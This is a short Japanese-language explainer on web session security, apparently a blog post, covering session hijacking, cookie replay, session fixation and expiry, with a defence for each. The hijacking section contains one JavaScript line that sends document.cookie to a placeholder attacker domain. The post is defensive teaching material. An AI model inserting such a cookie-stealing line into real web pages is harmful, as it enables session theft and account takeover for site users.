Webサービスにおけるセッションの役割と、セッションに関するセキュリティリスクとその対策を整理しました。
🍄 セッションとは
セッションとは「リクエストとそのリクエスト元を結び付けるためのしくみ」です。通信で『接続(ログイン)してから切断(ログオフ)』するまでの一連の動作や時間を「セッション」と呼びます。このセッションにより、特定のユーザーがどのような状態にあるかを追跡できます。
🏈 セッションで大切なこと
- セッションにはidだけをセッションで保存して、データはサーバ側に保存する
- セッションには重要なデータを保存しない(データの改竄や削除が容易なため)
😸 セッションハイジャック
ユーザーのセッションidを盗むと、攻撃者がそのユーザーと偽ってWebアプリケーションを利用できてしまいます。これを「セッションハイジャック」と呼びます。
次のようにJavaScriptでCookieを盗み取る方法があるため、CookieにHttpOnly
属性をつけて防ぎましょう。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; |
🎳 CookieStoreセッションに対する再生攻撃
「CookieStoreセッションに対する再生攻撃」とは悪意のあるユーザーが古いCookieを再現し、重要なデータが改竄する攻撃です。有効な対策としては、ログイン成功時に古いセッションを破棄して、新しいセッションを生成することです。
🚕 セッション固定攻撃
セッションが有効期限切れになるタイミングで、攻撃者が標的のセッションを自分のものと置き換えます。具体的には、XSSを使ってJavaScriptのコードインジェクションによって置き換えます。
もし、サーバ側がそのセッションを使い続ける場合はセッションが攻撃者のものと一致した状態でログイン処理を行います。結果として、攻撃者は標的ユーザーになりすますことができます。
これを防ぐためにログイン時にセッションを破棄して新しいセッションを生成することです。
🎃 セッションに有効期限をつける
セッションを無期限にした場合、CSRFやセッションハイジャック、セッション固定などの攻撃の機会を増やします。
これを防ぐためには、セッションに有効期限をもつようにすることです。ただし、Cookieでセッションを管理する場合は、ブラウザ内で簡単に有効期限を変更できてしまいます。そのため、セッションの有効期限はサーバサイドで管理することが望ましいです。
😼 補足:Railsでのセッション管理
「Ruby on Railsでのセッション管理方法」を参照ください。